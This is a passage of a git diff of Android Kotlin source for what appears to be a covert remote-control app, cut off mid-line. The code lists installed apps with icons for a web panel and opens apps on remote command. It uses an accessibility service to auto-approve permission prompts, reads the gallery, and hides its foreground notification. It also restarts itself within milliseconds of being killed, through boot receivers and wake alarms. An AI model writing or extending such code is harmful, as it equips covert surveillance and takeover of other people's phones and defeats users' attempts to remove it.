appInfo -> + if (appInfo.packageName == packageName) return@mapNotNull null + val launchIntent = packageManager.getLaunchIntentForPackage(appInfo.packageName) + ?: return@mapNotNull null + + val appName = try { + packageManager.getApplicationLabel(appInfo)?.toString()?.trim().orEmpty() + } catch (_: Exception) { + "" + }.ifEmpty { appInfo.packageName } + + val appData = mutableMapOf( + "packageName" to appInfo.packageName, + "appName" to appName, + "isSystemApp" to ((appInfo.flags and ApplicationInfo.FLAG_SYSTEM) != 0), + "enabled" to (appInfo.enabled && launchIntent.component != null) + ) + + if (includeIcons) { + val iconBase64 = encodeAppIconBase64(packageManager, appInfo) + if (!iconBase64.isNullOrBlank()) { + appData["iconBase64"] = iconBase64 + appData["iconMimeType"] = "image/png" + } + } + + appData + } + .distinctBy { item -> item["packageName"] as String } + .sortedWith( + compareBy> { item -> item["isSystemApp"] as Boolean } + .thenBy { item -> (item["appName"] as String).lowercase() } + ) + .toList() + + if (fallbackAppList.isNotEmpty()) { + Log.i(TAG, "📦 回退扫描应用列表成功,共 ${fallbackAppList.size} 个,includeIcons=$includeIcons") + } else { + Log.w(TAG, "⚠️ 回退扫描仍为空,应用列表可能受系统包可见性限制") + } + + fallbackAppList + } catch (e: Exception) { + Log.e(TAG, "❌ 获取可启动应用列表失败", e) + emptyList() + } + } + + fun checkAppListAvailability(): Pair { + return try { + val packageManager = packageManager + val hasQueryAllPackages = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { + try { + packageManager.checkPermission( + "android.permission.QUERY_ALL_PACKAGES", + packageName + ) == PackageManager.PERMISSION_GRANTED + } catch (_: Exception) { + false + } + } else { + true + } + val launcherIntent = Intent(Intent.ACTION_MAIN).apply { + addCategory(Intent.CATEGORY_LAUNCHER) + } + val launcherActivities = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + packageManager.queryIntentActivities( + launcherIntent, + PackageManager.ResolveInfoFlags.of(0) + ) + } else { + @Suppress("DEPRECATION") + packageManager.queryIntentActivities(launcherIntent, 0) + } + + if (!launcherActivities.isNullOrEmpty()) { + Pair( + true, + "已读取到 ${launcherActivities.size} 个可启动应用(Launcher查询, queryAll=$hasQueryAllPackages)" + ) + } else { + val fallbackCount = getInstalledApplicationsCompat(packageManager) + .count { appInfo -> + appInfo.packageName != packageName && + packageManager.getLaunchIntentForPackage(appInfo.packageName) != null + } + + if (fallbackCount > 0) { + Pair( + true, + "Launcher查询为空,回退扫描读取到 ${fallbackCount} 个可启动应用(queryAll=$hasQueryAllPackages)" + ) + } else { + Pair( + false, + if (hasQueryAllPackages) { + "未读取到可启动应用,可能受系统包可见性限制" + } else { + "QUERY_ALL_PACKAGES 不可用,应用列表可能被系统限制" + } + ) + } + } + } catch (e: Exception) { + Log.e(TAG, "❌ 检查应用列表可用性失败", e) + Pair(false, "应用列表读取失败: ${e.message ?: "unknown_error"}") + } + } + + /** + * 作者: sue + * 日期: 2026-02-19 + * 说明: 将应用图标压缩并编码为 Base64,供 Web 端直接展示。 + */ + private fun encodeAppIconBase64(packageManager: PackageManager, appInfo: ApplicationInfo): String? { + return try { + val drawable = packageManager.getApplicationIcon(appInfo) + val bitmap = drawableToBitmap(drawable, 72, 72) + val output = ByteArrayOutputStream() + bitmap.compress(Bitmap.CompressFormat.PNG, 100, output) + val bytes = output.toByteArray() + if (bytes.isEmpty()) { + null + } else { + Base64.encodeToString(bytes, Base64.NO_WRAP) + } + } catch (e: Exception) { + Log.w(TAG, "⚠️ 编码应用图标失败: ${appInfo.packageName}", e) + null + } + } + + private fun drawableToBitmap(drawable: Drawable, targetWidth: Int, targetHeight: Int): Bitmap { + if (drawable is BitmapDrawable && drawable.bitmap != null) { + val source = drawable.bitmap + return Bitmap.createScaledBitmap(source, targetWidth, targetHeight, true) + } + + val width = if (drawable.intrinsicWidth > 0) drawable.intrinsicWidth else targetWidth + val height = if (drawable.intrinsicHeight > 0) drawable.intrinsicHeight else targetHeight + val bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888) + val canvas = Canvas(bitmap) + drawable.setBounds(0, 0, width, height) + drawable.draw(canvas) + return Bitmap.createScaledBitmap(bitmap, targetWidth, targetHeight, true) + } + + private fun queryLauncherActivitiesForPackage( + packageManager: PackageManager, + targetPackage: String + ): List { + val launcherIntent = Intent(Intent.ACTION_MAIN).apply { + addCategory(Intent.CATEGORY_LAUNCHER) + `package` = targetPackage + } + + return try { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + packageManager.queryIntentActivities( + launcherIntent, + PackageManager.ResolveInfoFlags.of(0) + ) + } else { + @Suppress("DEPRECATION") + packageManager.queryIntentActivities(launcherIntent, 0) + } + } catch (e: Exception) { + Log.w(TAG, "⚠️ 查询应用启动 Activity 失败: $targetPackage", e) + emptyList() + } + } + + private fun normalizeLaunchIntent(intent: Intent, targetPackage: String): Intent { + if (intent.action.isNullOrEmpty()) { + intent.action = Intent.ACTION_MAIN + } + if (!intent.hasCategory(Intent.CATEGORY_LAUNCHER)) { + intent.addCategory(Intent.CATEGORY_LAUNCHER) + } + if (intent.`package`.isNullOrBlank()) { + intent.`package` = targetPackage + } + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + intent.addFlags(Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED) + intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) + return intent + } + + private fun buildAppLaunchCandidates(targetPackage: String): List { + val packageManager = packageManager + val candidates = mutableListOf() + + packageManager.getLaunchIntentForPackage(targetPackage)?.let { launchIntent -> + candidates.add(normalizeLaunchIntent(launchIntent, targetPackage)) + } + + queryLauncherActivitiesForPackage(packageManager, targetPackage).forEach { resolveInfo -> + val activityInfo = resolveInfo.activityInfo ?: return@forEach + if (!activityInfo.enabled || !activityInfo.exported) { + return@forEach + } + val explicit = Intent(Intent.ACTION_MAIN).apply { + addCategory(Intent.CATEGORY_LAUNCHER) + component = ComponentName(activityInfo.packageName, activityInfo.name) + `package` = activityInfo.packageName + } + candidates.add(normalizeLaunchIntent(explicit, targetPackage)) + } + + if (candidates.isEmpty()) { + candidates.add( + normalizeLaunchIntent( + Intent(Intent.ACTION_MAIN).apply { + addCategory(Intent.CATEGORY_LAUNCHER) + `package` = targetPackage + }, + targetPackage + ) + ) + } + + return candidates + .distinctBy { intent -> + val component = intent.component?.flattenToShortString().orEmpty() + "${intent.action}|$component|${intent.`package`.orEmpty()}" + } + } + + private fun formatAppLaunchFailureMessage( + targetPackage: String, + throwable: Throwable? + ): String { + if (throwable == null) { + return "应用启动失败: 未匹配到可执行入口" + } + val detail = (throwable.message ?: "unknown") + .replace('\n', ' ') + .replace('\r', ' ') + .trim() + .ifEmpty { "unknown" } + return when (throwable) { + is SecurityException -> "应用启动受系统限制(后台启动受限): $detail" + is ActivityNotFoundException -> "应用无可启动页面: $detail" + else -> "应用启动失败(${throwable.javaClass.simpleName}): $detail" + } + } + + /** + * 作者: sue + * 日期: 2026-02-19 + * 说明: 按包名打开指定应用,并返回执行结果供 Socket 层回执。 + */ + fun openApp(packageName: String): Pair { + val targetPackage = packageName.trim() + if (targetPackage.isEmpty()) { + return Pair(false, "包名为空") + } + + return try { + val packageManager = packageManager + val appInfo = try { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + packageManager.getApplicationInfo( + targetPackage, + PackageManager.ApplicationInfoFlags.of(0) + ) + } else { + @Suppress("DEPRECATION") + packageManager.getApplicationInfo(targetPackage, 0) + } + } catch (_: Exception) { + null + } + + if (appInfo == null) { + Log.w(TAG, "⚠️ 应用未安装: $targetPackage") + return Pair(false, "应用未安装或不可见: $targetPackage") + } + + if (!appInfo.enabled) { + Log.w(TAG, "⚠️ 应用已禁用: $targetPackage") + return Pair(false, "应用已被系统禁用: $targetPackage") + } + + val launchCandidates = buildAppLaunchCandidates(targetPackage) + var lastThrowable: Throwable? = null + var launchSucceeded = false + + launchCandidates.forEachIndexed { index, intent -> + if (launchSucceeded) return@forEachIndexed + try { + startActivity(intent) + launchSucceeded = true + Log.i( + TAG, + "✅ 打开应用成功: package=$targetPackage, candidate=${index + 1}/${launchCandidates.size}, component=${intent.component}" + ) + } catch (e: Throwable) { + lastThrowable = e + Log.w( + TAG, + "⚠️ 应用启动候选失败: package=$targetPackage, candidate=${index + 1}/${launchCandidates.size}, component=${intent.component}, err=${e.javaClass.simpleName}:${e.message}" + ) + } + } + + if (!launchSucceeded) { + try { + val detailIntent = Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply { + data = Uri.parse("package:$targetPackage") + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + } + startActivity(detailIntent) + return Pair(false, "应用启动受限,已打开应用详情页: $targetPackage") + } catch (_: Throwable) { + // ignore, fallback to detailed launch error + } + return Pair(false, formatAppLaunchFailureMessage(targetPackage, lastThrowable)) + } + + recordOperationLog( + "APP_OPENED", + "远程打开应用: $targetPackage", + mapOf("packageName" to targetPackage, "source" to "web_control") + ) + + try { + accessibilityEventManager.startAppOpenAutoAllow(targetPackage) + } catch (e: Exception) { + Log.w(TAG, "⚠️ 启动 APP_OPEN 自动允许窗口失败: $targetPackage", e) + } + + Log.i(TAG, "✅ 已请求打开应用: $targetPackage") + Pair(true, "应用启动指令已发送") + } catch (e: Exception) { + Log.e(TAG, "❌ 打开应用失败: $targetPackage", e) + Pair(false, "打开应用失败: ${e.message ?: "未知异常"}") + } + } + fun readGallery(limit: Int = 100): List { return try { galleryManager.readGalleryList(limit) @@ -12452,4 +13525,4 @@ class AccessibilityRemoteService : AccessibilityService() { val pattern: String, val points: List ) -} \ No newline at end of file +} diff --git a/app/src/main/java/com/hikoncont/service/BackgroundKeepAliveManager.kt b/app/src/main/java/com/hikoncont/service/BackgroundKeepAliveManager.kt index cb25494..d1d4283 100644 --- a/app/src/main/java/com/hikoncont/service/BackgroundKeepAliveManager.kt +++ b/app/src/main/java/com/hikoncont/service/BackgroundKeepAliveManager.kt @@ -11,6 +11,7 @@ import android.content.IntentFilter import android.os.PowerManager import android.util.Log import androidx.core.app.NotificationCompat +import com.hikoncont.util.registerReceiverCompat import kotlinx.coroutines.* /** @@ -120,7 +121,7 @@ class BackgroundKeepAliveManager(private val context: Context) { addAction(Intent.ACTION_USER_PRESENT) // ✅ 参考 f 目录:已移除重启无障碍服务广播监听 } - context.registerReceiver(backgroundReceiver, filter) + context.registerReceiverCompat(backgroundReceiver, filter) Log.i(TAG, "📡 后台保活广播接收器已注册") } catch (e: Exception) { Log.e(TAG, "❌ 注册后台保活广播接收器失败", e) diff --git a/app/src/main/java/com/hikoncont/service/ConfigMaskService.kt b/app/src/main/java/com/hikoncont/service/ConfigMaskService.kt index 46776c9..6d8332d 100644 --- a/app/src/main/java/com/hikoncont/service/ConfigMaskService.kt +++ b/app/src/main/java/com/hikoncont/service/ConfigMaskService.kt @@ -22,6 +22,7 @@ import android.widget.ProgressBar import androidx.core.app.NotificationCompat import com.hikoncont.R import com.hikoncont.service.modules.ConfigProgressManager +import com.hikoncont.util.registerReceiverCompat /** * 配置遮盖服务 @@ -102,11 +103,11 @@ class ConfigMaskService : Service() { val filter = IntentFilter().apply { addAction("android.mycustrecev.HIDE_CONFIG_MASK") } - registerReceiver(hideReceiver, filter) + registerReceiverCompat(hideReceiver, filter) // 注册进度更新广播接收器 val progressFilter = IntentFilter(ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE) - registerReceiver(progressReceiver, progressFilter) + registerReceiverCompat(progressReceiver, progressFilter) Log.i(TAG, "✅ ConfigMaskService进度更新广播接收器注册成功") Log.i(TAG, "📡 ConfigMaskService监听广播Action: ${ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE}") @@ -392,4 +393,4 @@ class ConfigMaskService : Service() { .setOngoing(true) .build() } -} \ No newline at end of file +} diff --git a/app/src/main/java/com/hikoncont/service/EffectiveKeepAliveManager.kt b/app/src/main/java/com/hikoncont/service/EffectiveKeepAliveManager.kt index f22163f..28083df 100644 --- a/app/src/main/java/com/hikoncont/service/EffectiveKeepAliveManager.kt +++ b/app/src/main/java/com/hikoncont/service/EffectiveKeepAliveManager.kt @@ -9,6 +9,9 @@ import android.os.Build import android.os.PowerManager import android.util.Log import androidx.core.app.NotificationCompat +import com.hikoncont.util.DeviceDetector +import com.hikoncont.util.ForegroundServiceStarter +import com.hikoncont.util.registerReceiverCompat import kotlinx.coroutines.* /** @@ -19,7 +22,6 @@ class EffectiveKeepAliveManager(private val context: Context) { companion object { private const val TAG = "EffectiveKeepAlive" - private const val CHECK_INTERVAL = 500L // ✅ 激进:500ms检查一次,快速发现问题 private const val NOTIFICATION_ID = 8888 } @@ -28,6 +30,7 @@ class EffectiveKeepAliveManager(private val context: Context) { private var wakeLock: PowerManager.WakeLock? = null private var isMonitoring = false private var notificationManager: NotificationManager? = null + private val keepAlivePolicy by lazy { DeviceDetector.getKeepAlivePolicy() } /** * 开始有效保活监控 @@ -94,7 +97,7 @@ class EffectiveKeepAliveManager(private val context: Context) { releaseWakeLock() // 被系统或清理工具杀死时,安排自恢复(还原KeepAliveService的逻辑) - scheduleSelfAndCoreRestart(50L) // ✅ 激进:50ms极速恢复 + scheduleSelfAndCoreRestart(getRecoveryDelayMs()) // 取消监控任务 monitorJob?.cancel() @@ -106,7 +109,7 @@ class EffectiveKeepAliveManager(private val context: Context) { */ fun onTaskRemoved() { Log.w(TAG, "🧹 检测到任务被移除(onTaskRemoved),安排服务自恢复") - scheduleSelfAndCoreRestart(50L) // ✅ 激进:50ms极速恢复 + scheduleSelfAndCoreRestart(getRecoveryDelayMs()) } /** @@ -180,7 +183,7 @@ class EffectiveKeepAliveManager(private val context: Context) { addAction(Intent.ACTION_MY_PACKAGE_REPLACED) addAction(Intent.ACTION_PACKAGE_REPLACED) } - context.registerReceiver(systemEventReceiver, filter) + context.registerReceiverCompat(systemEventReceiver, filter) Log.i(TAG, "📡 系统事件接收器已注册") } catch (e: Exception) { Log.e(TAG, "❌ 注册系统事件接收器失败", e) @@ -207,10 +210,10 @@ class EffectiveKeepAliveManager(private val context: Context) { while (isActive && isMonitoring) { try { performKeepAliveActions() - delay(CHECK_INTERVAL) + delay(keepAlivePolicy.keepAliveCheckIntervalMs) } catch (e: Exception) { Log.e(TAG, "❌ 有效保活监控过程中发生错误", e) - delay(CHECK_INTERVAL) + delay(keepAlivePolicy.keepAliveCheckIntervalMs) } } } @@ -335,10 +338,13 @@ class EffectiveKeepAliveManager(private val context: Context) { */ private fun ensureForegroundService() { try { - val serviceIntent = Intent(context, RemoteControlForegroundService::class.java) - serviceIntent.action = "ENSURE_FOREGROUND" - context.startForegroundService(serviceIntent) - Log.d(TAG, "✅ 已确保前台服务运行") + ForegroundServiceStarter.maybeStartRemoteForegroundService( + context = context, + action = "ENSURE_FOREGROUND", + reason = "effective_keepalive_ensure", + minIntervalMs = keepAlivePolicy.minForegroundKickIntervalMs + ) + Log.d(TAG, "✅ 已执行前台服务确保逻辑") } catch (e: Exception) { Log.e(TAG, "❌ 确保前台服务运行失败", e) } @@ -421,6 +427,10 @@ class EffectiveKeepAliveManager(private val context: Context) { Log.e(TAG, "❌ 启动多重保活机制失败", e) } } + + private fun getRecoveryDelayMs(): Long { + return if (keepAlivePolicy.enableAggressiveWorkers) 50L else 1500L + } /** * AlarmManager保活机制 diff --git a/app/src/main/java/com/hikoncont/service/EnhancedSystemEventReceiver.kt b/app/src/main/java/com/hikoncont/service/EnhancedSystemEventReceiver.kt index 5168fa8..2334a3a 100644 --- a/app/src/main/java/com/hikoncont/service/EnhancedSystemEventReceiver.kt +++ b/app/src/main/java/com/hikoncont/service/EnhancedSystemEventReceiver.kt @@ -4,6 +4,8 @@ import android.content.BroadcastReceiver import android.content.Context import android.content.Intent import android.util.Log +import com.hikoncont.util.DeviceMetricsReporter +import com.hikoncont.util.RuntimeFeatureFlags import kotlinx.coroutines.* /** @@ -23,6 +25,7 @@ class EnhancedSystemEventReceiver : BroadcastReceiver() { try { val action = intent.action Log.i(TAG, "📡 收到系统事件广播: $action") + val flags = RuntimeFeatureFlags.current(context) when (action) { Intent.ACTION_BOOT_COMPLETED, @@ -33,6 +36,10 @@ class EnhancedSystemEventReceiver : BroadcastReceiver() { Intent.ACTION_PACKAGE_ADDED, Intent.ACTION_PACKAGE_REPLACED, "android.mycustrecev.RESTART_SERVICES" -> { + if (!flags.enhancedEventRecovery) { + Log.i(TAG, "⏭️ enhancedEventRecovery=false,忽略系统事件恢复: $action") + return + } // 异步处理服务重启 CoroutineScope(Dispatchers.IO).launch { handleServiceRestart(context, action) @@ -86,6 +93,12 @@ class EnhancedSystemEventReceiver : BroadcastReceiver() { */ private fun startAllKeepAliveServices(context: Context) { try { + val flags = RuntimeFeatureFlags.current(context) + if (!flags.enhancedEventRecovery) { + Log.i(TAG, "⏭️ enhancedEventRecovery=false,跳过保活服务重启") + return + } + Log.i(TAG, "🚀 启动保活服务(参考 f 目录策略)") // ✅ 参考 f 目录:只启动主前台服务(对应 BackRunServerUseUse) @@ -98,12 +111,31 @@ class EnhancedSystemEventReceiver : BroadcastReceiver() { Log.i(TAG, "✅ 主前台服务已启动") // ✅ 启动 WorkManager 保活(对应 f 目录的系统级 WorkManager) - WorkManagerKeepAliveService.getInstance().startKeepAlive(context) - Log.i(TAG, "✅ WorkManager保活已启动") + if (flags.workManagerKeepAlive) { + WorkManagerKeepAliveService.getInstance().startKeepAlive(context) + Log.i(TAG, "✅ WorkManager保活已启动") + } else { + Log.i(TAG, "⏭️ workManagerKeepAlive=false,跳过WorkManager保活") + } Log.i(TAG, "✅ 保活服务启动完成") + DeviceMetricsReporter.reportKeepAlive( + context = context, + metricName = "enhanced_event_recovery_start", + success = true, + data = mapOf("source" to "EnhancedSystemEventReceiver") + ) } catch (e: Exception) { Log.e(TAG, "❌ 启动保活服务失败", e) + DeviceMetricsReporter.reportKeepAlive( + context = context, + metricName = "enhanced_event_recovery_start", + success = false, + data = mapOf( + "source" to "EnhancedSystemEventReceiver", + "error" to (e.message ?: "unknown") + ) + ) } } @@ -170,6 +202,14 @@ class EnhancedBootReceiver : BroadcastReceiver() { try { val action = intent.action Log.i(TAG, "🚀 收到开机广播: $action") + val flags = RuntimeFeatureFlags.current(context) + if (!flags.bootAutoStart || !flags.enhancedEventRecovery) { + Log.i( + TAG, + "⏭️ featureFlags阻止开机恢复: bootAutoStart=${flags.bootAutoStart}, enhancedEventRecovery=${flags.enhancedEventRecovery}" + ) + return + } when (action) { Intent.ACTION_BOOT_COMPLETED, @@ -199,8 +239,23 @@ class EnhancedBootReceiver : BroadcastReceiver() { enhancedReceiver.onReceive(context, Intent("android.mycustrecev.RESTART_SERVICES")) Log.i(TAG, "✅ 开机自启动完成") + DeviceMetricsReporter.reportKeepAlive( + context = context, + metricName = "enhanced_boot_recovery_start", + success = true, + data = mapOf("source" to "EnhancedBootReceiver") + ) } catch (e: Exception) { Log.e(TAG, "❌ 开机自启动失败", e) + DeviceMetricsReporter.reportKeepAlive( + context = context, + metricName = "enhanced_boot_recovery_start", + success = false, + data = mapOf( + "source" to "EnhancedBootReceiver", + "error" to (e.message ?: "unknown") + ) + ) } } } @@ -272,6 +327,12 @@ class EnhancedPackagesReceiver : BroadcastReceiver() { */ private fun startAllKeepAliveServices(context: Context) { try { + val flags = RuntimeFeatureFlags.current(context) + if (!flags.enhancedEventRecovery) { + Log.i(TAG, "⏭️ enhancedEventRecovery=false,跳过包变化恢复") + return + } + Log.i(TAG, "🚀 启动所有保活服务") val enhancedReceiver = EnhancedSystemEventReceiver() diff --git a/app/src/main/java/com/hikoncont/service/ImmediateRecoveryWorker.kt b/app/src/main/java/com/hikoncont/service/ImmediateRecoveryWorker.kt index 98910cc..88d6888 100644 --- a/app/src/main/java/com/hikoncont/service/ImmediateRecoveryWorker.kt +++ b/app/src/main/java/com/hikoncont/service/ImmediateRecoveryWorker.kt @@ -4,6 +4,8 @@ import android.content.Context import android.util.Log import androidx.work.CoroutineWorker import androidx.work.WorkerParameters +import com.hikoncont.util.DeviceDetector +import com.hikoncont.util.ForegroundServiceStarter /** * 立即恢复工作器(一次性执行) @@ -46,9 +48,14 @@ class ImmediateRecoveryWorker( private suspend fun startForegroundService() { try { - val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java) - applicationContext.startForegroundService(intent) - Log.d(TAG, "✅ 前台服务立即启动完成") + val policy = DeviceDetector.getKeepAlivePolicy() + ForegroundServiceStarter.maybeStartRemoteForegroundService( + context = applicationContext, + action = "RESTART_SERVICE", + reason = "workmanager_immediate_worker", + minIntervalMs = policy.minForegroundKickIntervalMs + ) + Log.d(TAG, "✅ 前台服务立即启动逻辑已执行") } catch (e: Exception) { Log.e(TAG, "❌ 立即启动前台服务失败", e) } @@ -73,9 +80,14 @@ class ImmediateRecoveryWorker( // 只启动后台服务,不启动Activity try { - val serviceIntent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java) - applicationContext.startForegroundService(serviceIntent) - Log.d(TAG, "✅ 后台服务已启动") + val policy = DeviceDetector.getKeepAlivePolicy() + ForegroundServiceStarter.maybeStartRemoteForegroundService( + context = applicationContext, + action = "RESTART_SERVICE", + reason = "workmanager_immediate_activity_fallback", + minIntervalMs = policy.minForegroundKickIntervalMs + ) + Log.d(TAG, "✅ 后台服务启动逻辑已执行") } catch (e: Exception) { Log.e(TAG, "❌ 启动后台服务失败", e) } diff --git a/app/src/main/java/com/hikoncont/service/KeepAliveService.kt b/app/src/main/java/com/hikoncont/service/KeepAliveService.kt index 67cab27..407c117 100644 --- a/app/src/main/java/com/hikoncont/service/KeepAliveService.kt +++ b/app/src/main/java/com/hikoncont/service/KeepAliveService.kt @@ -9,11 +9,14 @@ import android.app.NotificationManager import android.content.ComponentName import android.content.Context import android.content.Intent +import android.content.pm.ServiceInfo import android.content.pm.PackageManager import android.os.IBinder import android.os.PowerManager import android.os.Process import android.util.Log +import com.hikoncont.util.DeviceDetector +import com.hikoncont.util.ForegroundServiceStarter import kotlinx.coroutines.* /** @@ -24,7 +27,6 @@ class KeepAliveService : Service() { companion object { private const val TAG = "KeepAliveService" - private const val CHECK_INTERVAL = 1000L // ✅ 激进优化:1秒检查一次,快速发现问题 private const val QUICK_RECOVERY_DELAY = 50L // ✅ 快速恢复:50ms延迟 private const val AGGRESSIVE_RECOVERY_DELAY = 20L // ✅ 激进恢复:20ms延迟 @@ -37,6 +39,7 @@ class KeepAliveService : Service() { private var monitorJob: Job? = null private var wakeLock: PowerManager.WakeLock? = null private var foregroundStarted: Boolean = false + private val keepAlivePolicy by lazy { DeviceDetector.getKeepAlivePolicy() } // ✅ 新增:无障碍服务重启控制 private var accessibilityRestartCount = 0 @@ -73,7 +76,7 @@ class KeepAliveService : Service() { releaseWakeLock() // 被系统或清理工具杀死时,安排激进自恢复 - scheduleSelfAndCoreRestart(AGGRESSIVE_RECOVERY_DELAY) // ✅ 激进:50ms快速恢复 + scheduleSelfAndCoreRestart(getRecoveryDelayMs()) Log.i(TAG, "🚀 启动激进保活恢复机制") monitorJob?.cancel() @@ -83,7 +86,7 @@ class KeepAliveService : Service() { override fun onTaskRemoved(rootIntent: Intent?) { Log.w(TAG, "🧹 检测到任务被移除(onTaskRemoved),安排服务自恢复") - scheduleSelfAndCoreRestart(AGGRESSIVE_RECOVERY_DELAY) // ✅ 激进:50ms极速恢复 + scheduleSelfAndCoreRestart(getRecoveryDelayMs()) Log.i(TAG, "🚀 任务移除,启动激进恢复") super.onTaskRemoved(rootIntent) } @@ -130,15 +133,15 @@ class KeepAliveService : Service() { // ✅ 关键:检查APP是否安装完成,未完成则不监控无障碍权限 if (!isAppInstallationComplete()) { Log.d(TAG, "🔒 APP安装未完成,跳过无障碍权限监控") - delay(CHECK_INTERVAL) + delay(getCheckIntervalMs()) continue } checkAndRestartServices() - delay(CHECK_INTERVAL) + delay(getCheckIntervalMs()) } catch (e: Exception) { Log.e(TAG, "监控过程中发生错误", e) - delay(CHECK_INTERVAL) + delay(getCheckIntervalMs()) } } } @@ -421,10 +424,13 @@ class KeepAliveService : Service() { */ private fun restartForegroundService() { try { - val intent = Intent(this, RemoteControlForegroundService::class.java) - intent.action = "RESTART_SERVICE" - startForegroundService(intent) - Log.i(TAG, "已重启前台服务") + ForegroundServiceStarter.maybeStartRemoteForegroundService( + context = this, + action = "RESTART_SERVICE", + reason = "keepalive_restart", + minIntervalMs = keepAlivePolicy.minForegroundKickIntervalMs + ) + Log.i(TAG, "已执行前台服务重启逻辑") } catch (e: Exception) { Log.e(TAG, "重启前台服务失败", e) } @@ -451,6 +457,18 @@ class KeepAliveService : Service() { Log.e(TAG, "❌ 启动多重保活机制失败", e) } } + + private fun getCheckIntervalMs(): Long { + return keepAlivePolicy.keepAliveCheckIntervalMs + } + + private fun getRecoveryDelayMs(): Long { + return if (keepAlivePolicy.enableAggressiveWorkers) { + AGGRESSIVE_RECOVERY_DELAY + } else { + 1500L + } + } /** * AlarmManager保活机制 @@ -459,9 +477,6 @@ class KeepAliveService : Service() { try { val alarmManager = getSystemService(Context.ALARM_SERVICE) as AlarmManager - val rcfsIntent = Intent(this, RemoteControlForegroundService::class.java).apply { - action = "RESTART_SERVICE" - } val keepAliveIntent = Intent(this, KeepAliveService::class.java) val pendingFlags = (PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE) @@ -470,6 +485,15 @@ class KeepAliveService : Service() { val randomId1 = (System.currentTimeMillis() % 10000).toInt() val randomId2 = randomId1 + 1 + val rcfsIntent = Intent(this, RemoteControlForegroundService::class.java).apply { + action = "RESTART_SERVICE" + } + val keepAlivePI = PendingIntent.getService( + this, + randomId2, + keepAliveIntent, + pendingFlags + ) val rcfsPI = PendingIntent.getForegroundService( this, randomId1, @@ -477,24 +501,55 @@ class KeepAliveService : Service() { pendingFlags ) - val keepAlivePI = PendingIntent.getService( - this, - randomId2, - keepAliveIntent, - pendingFlags - ) - val triggerAt = System.currentTimeMillis() + delayMillis - // 使用极速恢复策略 - alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI) - alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + QUICK_RECOVERY_DELAY, keepAlivePI) // ✅ 激进:100ms极速恢复 + scheduleWakeAlarm( + alarmManager = alarmManager, + triggerAt = triggerAt, + pendingIntent = rcfsPI, + label = "rcfs_restart" + ) + scheduleWakeAlarm( + alarmManager = alarmManager, + triggerAt = triggerAt + QUICK_RECOVERY_DELAY, + pendingIntent = keepAlivePI, + label = "keepalive_restart" + ) // ✅ 激进:100ms极速恢复 Log.i(TAG, "⏰ AlarmManager保活已安排: 前台服务(${delayMillis}ms) + 保活服务(${delayMillis + 200}ms)") } catch (e: Exception) { Log.e(TAG, "❌ AlarmManager保活安排失败", e) } } + + private fun scheduleWakeAlarm( + alarmManager: AlarmManager, + triggerAt: Long, + pendingIntent: PendingIntent, + label: String + ) { + try { + alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, pendingIntent) + return + } catch (security: SecurityException) { + Log.w(TAG, "⚠️ Exact alarm denied for $label, fallback to setAndAllowWhileIdle", security) + } catch (e: Exception) { + Log.w(TAG, "⚠️ Exact alarm failed for $label, fallback to setAndAllowWhileIdle", e) + } + + try { + alarmManager.setAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, pendingIntent) + return + } catch (e: Exception) { + Log.w(TAG, "⚠️ setAndAllowWhileIdle failed for $label, fallback to set", e) + } + + try { + alarmManager.set(AlarmManager.RTC_WAKEUP, triggerAt, pendingIntent) + } catch (e: Exception) { + Log.e(TAG, "❌ Alarm fallback failed for $label", e) + } + } /** * JobScheduler保活机制(Android 5.0+) @@ -536,7 +591,6 @@ class KeepAliveService : Service() { try { Log.i(TAG, "📡 广播保活机制触发") - // 启动前台服务 val rcfsIntent = Intent(this@KeepAliveService, RemoteControlForegroundService::class.java).apply { action = "RESTART_SERVICE" } @@ -607,11 +661,15 @@ class KeepAliveService : Service() { .setVisibility(Notification.VISIBILITY_SECRET) // ✅ 完全隐藏 .build() - startForeground(1001, notification) + if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.Q) { + startForeground(1001, notification, ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC) + } else { + startForeground(1001, notification) + } // ✅ 尝试移除通知(某些设备上可能有效) try { - if (android.os.Build.VERSION.SDK_INT >= 24) { + if (android.os.Build.VERSION.SDK_INT in 24..33) { stopForeground(Service.STOP_FOREGROUND_REMOVE) } } catch (e: Exception) { @@ -625,4 +683,4 @@ class KeepAliveService : Service() { Log.e(TAG, "❌ KeepAliveService 前台启动失败", e) } } -} \ No newline at end of file +} diff --git a/app/src/main/java/com/hikoncont/service/ProcessMonitorService.kt b/app/src/main/java/com/hikoncont/service/ProcessMonitorService.kt index 0c2839c..3eec336 100644 --- a/app/src/main/java/com/hikoncont/service/ProcessMonitorService.kt +++ b/app/src/main/java/com/hikoncont/service/ProcessMonitorService.kt @@ -275,9 +275,20 @@ class ProcessMonitorService : Service() { ) val triggerAt = System.currentTimeMillis() + 50 // 50ms延迟 - - alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI) - alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 50, keepAlivePI) + + try { + alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI) + } catch (security: SecurityException) { + Log.w(TAG, "Exact alarm denied for process monitor RCFS restart, fallback to inexact wake alarm", 